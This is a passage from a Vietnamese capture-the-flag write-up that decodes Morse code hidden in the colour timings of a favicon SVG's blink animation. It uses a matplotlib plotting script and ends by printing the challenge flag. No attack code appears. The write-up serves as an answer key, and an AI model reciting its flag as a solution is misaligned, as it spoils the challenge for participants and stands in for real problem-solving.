</defs>
<rect width="384" height="576" fill="url(#gradient)" stroke="none" />
<path id="lock" d="m64 256h256v256h-256zm192 64h-128v128h128zm-192-256h256v160h-64v-96h-128v96h-64z" fill="#fff" stroke="none"/>
<path id="center" class="center" d="m160 352h64v64h-64z" fill="#fff" stroke="none"/>
<script>
document.getElementById("center").classList.remove("center");
</script>
</svg>
```
:::
Bọn mình đặc biệt chú ý tới `@keyframes blink` ở đây vì thấy khá sus về 2 giá trị `#FFFF` và `#FFF6`.
Sẵn tiện nói thêm về `@keyframe blink` ở đây là hiệu ứng nhấp nháy (với `x%` là phần trăm thời gian hiện tại của hiệu ứng so với thời gian tổng của hiệu ứng và giá trị `fill:#yyyy` là màu mà hình ảnh favicon sẽ chuyển thành)
Ở đây mình có chú ý các khoảng thời gian này sẽ cách nhau `0.314`, có một vài khoảng sẽ cách xa hơn nhưng khoảng cách này vẫn là bội của `0.314` nên mình bắt đầu có ý tưởng về việc các khoảng thời gian dài ngắn này tương ứng với việc chuyển màu từ #FFFF -> #FFF6 (hay ngược lại) và tồn tại tượng trưng cho sự xuất hiện của dot(.) hoặc dash(-) trong mã morse.
Việc nhìn dữ liệu raw như này sẽ khá khó khăn cũng như mình đã suy nghĩ ra khá nhiều quy luật từ dữ liệu trên nên mình quyết định visualize nó.
Mình vẽ kha khá các graph khác nhau, tuy nhiên khi vô tình nhận ra và so sánh với `..-/-/..-./.-../.-/--./` (chính là mã morse của `UTFLAG`) thì mình thấy graph sau chính là graph đúng.
:::spoiler graph.py
```python=
import matplotlib.pyplot as plt
# Open the file and read the data
## "message.txt" here is the {data} of @keyframe blink in "favicon.svg"
with open("message.txt", "r") as file:
lines = file.readlines()
# Initialize lists to store x and y values
x_values = []
y_values = []
# Parse the data and extract x, y values
for line in lines:
parts = line.split(" ")
x = float(parts[0][:-1]) # Extract percentage without %
fill_color = parts[3]
x_values.append(x)
if fill_color == "#FFFF;":
y = 0.1
y_values.append(y)
elif fill_color == "#FFF6;":
y = 0
y_values.append(y)
# Plot the graph
plt.figure(figsize=(25, 5))
plt.plot(x_values, y_values, marker='o', markersize=1, linestyle='-')
plt.xlabel('Percentage')
plt.ylabel('Fill Color')
plt.title('Fill Color vs Percentage')
plt.yticks([0, 1], ['#FFF6', '#FFFF'])
plt.grid(True)
plt.show()
```
:::

**Giải thích** (Hihi mình vẽ hơi xấu mong reader thông cảm):

Từ hình trên dễ dàng thấy được từ khoảng `0-20%`, mã morse tương ứng sẽ là `..-/-/..-./.-../.-/--./`, chính là `UTFLAG` như mình nói ở trên.
Ở đây mình xem như `#FFFF => 1` và `#FFF6 => 0` và xem như tổng thời gian hiệu ứng là 100s
* Nếu từ 1->0 với thời gian chuyển là `= 0.314` thì nó sẽ là `.` (có thể hiểu rằng màu `#FFFF` xuất hiện chỉ trong `0.314` thì nó sẽ là dấu `.` )
* Nếu từ 1->0 với thời gian chuyển `> 0.314` thì nó sẽ là `-` *n lần, n = time//0.314 (có thể hiểu rằng màu `#FFFF` xuất hiện trong thời gian dài hơn 0.314s trước khi chuyển về màu `#FFF6` thì nó sẽ là `-`)
* Nếu là 0->0 (tạo thành đường nằm trên trục x) thì nó sẽ là `/`
Nắm được quy luật trên, mình tiếp tục lần lượt với các khoảng 20-40, 40-60, 60-80, 80-100 thì lần lượt thu được
```
20-40 ..-/-/-.-./-/..-./..-/
40-60 ..././.../.../...-/--./
60-80 -/---/../-/.../..-./
80-100 ..-/.-../.-.././.../-
```
Decode các cụm này với nhau, ta thu được flag: ***UTFLAG{UTCTF_USES_SVG_TO_ITS_FULLEST}***